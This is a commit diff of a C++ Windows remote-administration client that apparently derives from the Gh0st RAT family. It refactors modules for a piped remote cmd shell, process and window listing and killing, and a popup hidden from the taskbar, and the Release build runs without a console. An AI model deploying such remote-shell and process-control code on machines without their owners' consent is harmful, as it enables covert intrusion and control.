CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID CServicesManager::SendServicesList();
LPBYTE CServicesManager::GetServicesList();
VOID SendServicesList();
LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
};

View File

@@ -6,18 +6,15 @@
#include "ShellManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
BOOL bStarting = TRUE;
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_nCmdLength = 0;
bStarting = TRUE;
m_bStarting = TRUE;
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = NULL;
@@ -100,8 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
WaitForDialogOpen();
m_hThreadRead = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
@@ -110,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
char szBuffer[1024] = {0};
DWORD dwTotal = 0;
CShellManager *This = (CShellManager*)lParam;
while (bStarting)
while (This->m_bStarting)
{
Sleep(100);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
@@ -126,7 +122,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG
printf("===> Input length= %d \n", This->m_nCmdLength);
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
#endif
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength;
@@ -136,7 +132,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
LocalFree(szTotalBuffer);
}
}
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n";
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
return 0;
}
@@ -161,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
CShellManager::~CShellManager()
{
bStarting = FALSE;
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>

View File

@@ -15,7 +15,7 @@
class CShellManager : public CManager
{
public:
CShellManager(IOCPClient* ClientObject, int n);
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
@@ -25,8 +25,9 @@ public:
virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
BOOL m_bStarting;
HANDLE m_hThreadRead;
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>

View File

@@ -6,10 +6,30 @@
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 0
#if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 0
#if !USING_LZ4
#define USING_ZSTD 1
#define USING_CTX 1
#endif
#endif
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifdef _DEBUG
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#else
#define Mprintf(format, ...)
#endif
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h"
@@ -49,19 +69,58 @@ class auto_tick
{
private:
const char *func;
int threshold;
int span;
clock_t tick;
__inline clock_t now() const { return clock(); }
__inline int time() const { return now() - tick; }
public:
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
__inline int time() const { return now() - tick; }
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
~auto_tick() { stop(); }
__inline void stop() {
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
}
};
#ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh)
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#define STOP_TICK TICK.stop()
#else
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
#ifndef SAFE_DELETE
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_ARRAY
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
class CLock
{
private:
CRITICAL_SECTION m_cs;
public:
CLock()
{
InitializeCriticalSection(&m_cs);
}
~CLock()
{
DeleteCriticalSection(&m_cs);
}
void Unlock()
{
LeaveCriticalSection(&m_cs);
}
void Lock()
{
EnterCriticalSection(&m_cs);
}
};

View File

@@ -6,8 +6,12 @@
#include "SystemManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
#include <TLHELP32.H>
#ifndef PSAPI_VERSION
#define PSAPI_VERSION 1
#endif
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
@@ -21,7 +25,7 @@ enum
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM)
{
@@ -73,7 +77,8 @@ LPBYTE CSystemManager::GetProcessList()
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
dwOffset = 1;
@@ -129,7 +134,7 @@ LPBYTE CSystemManager::GetProcessList()
CSystemManager::~CSystemManager()
{
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
Mprintf("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
}
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
@@ -258,12 +263,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return FALSE;
//[<5B><>Ϣ][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
dwOffset = LocalSize(szBuffer); //1
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
if (szBuffer == NULL)
return FALSE;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);

View File

@@ -15,17 +15,17 @@
class CSystemManager : public CManager
{
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
virtual ~CSystemManager();
LPBYTE CSystemManager::GetProcessList();
VOID CSystemManager::SendProcessList();
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
LPBYTE GetProcessList();
VOID SendProcessList();
BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE CSystemManager::GetWindowsList();
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
void CSystemManager::SendWindowsList();
void CSystemManager::TestWindow(LPBYTE szBuffer);
VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE GetWindowsList();
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
void SendWindowsList();
void TestWindow(LPBYTE szBuffer);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)

View File

@@ -10,34 +10,31 @@
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")
using namespace std;
#define ID_TIMER_POP_WINDOW 1
#define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 250
#define WIN_HEIGHT 250
#define WIN_WIDTH 360
#define WIN_HEIGHT 200
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
char g_Buffer[0x1000] = {0};
UINT_PTR g_Event = 0;
IOCPClient* g_IOCPClientObject = NULL;
extern HINSTANCE g_hInstance;
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_hInstance = HINSTANCE(user);
g_Event = 0;
memset(g_Buffer, 0, sizeof(g_Buffer));
BYTE bToken = TOKEN_TALK_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_IOCPClientObject = ClientObject;
WaitForDialogOpen();
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
}
CTalkManager::~CTalkManager()
{
cout<<"Talk <20><><EFBFBD><EFBFBD>\n";
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
}
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -52,31 +49,48 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
default:
{
memcpy(g_Buffer, szBuffer, ulLength);
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL,DialogProc); //SDK C MFC C++
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
break;
}
}
}
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
static CTalkManager* This = nullptr;
switch(uMsg)
{
case WM_TIMER:
{
OnDlgTimer(hDlg);
if (This) This->OnDlgTimer(hDlg);
break;
}
case WM_INITDIALOG:
{
OnInitDialog(hDlg);
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
exStyle &= ~WS_EX_APPWINDOW;
exStyle |= WS_EX_TOOLWINDOW;
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
This = (CTalkManager*)lParam;
if(This) This->OnInitDialog(hDlg);
break;
}
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT;
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return 0;
@@ -87,15 +101,20 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
::SetFocus(GetDesktopWindow());
memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW;
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
SetTimer(hDlg, g_Event, 1, NULL);
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
}
@@ -121,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
{
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
EndDialog(hDlg,0);
}
break;

View File

@@ -14,15 +14,19 @@
class CTalkManager : public CManager
{
public:
CTalkManager(IOCPClient* ClientObject, int n);
HINSTANCE m_hInstance;
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CTalkManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam);
static VOID OnInitDialog(HWND hDlg);
static VOID OnDlgTimer(HWND hDlg);
VOID OnInitDialog(HWND hDlg);
VOID OnDlgTimer(HWND hDlg);
char g_Buffer[TALK_DLG_MAXLEN];
UINT_PTR g_Event;
};
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)

Binary file not shown.

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@@ -13,18 +13,19 @@
<PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
@@ -38,7 +39,14 @@
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
@@ -49,6 +57,7 @@
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -59,11 +68,14 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>

View File

@@ -1,10 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory>
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>

View File

@@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>TestRun</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
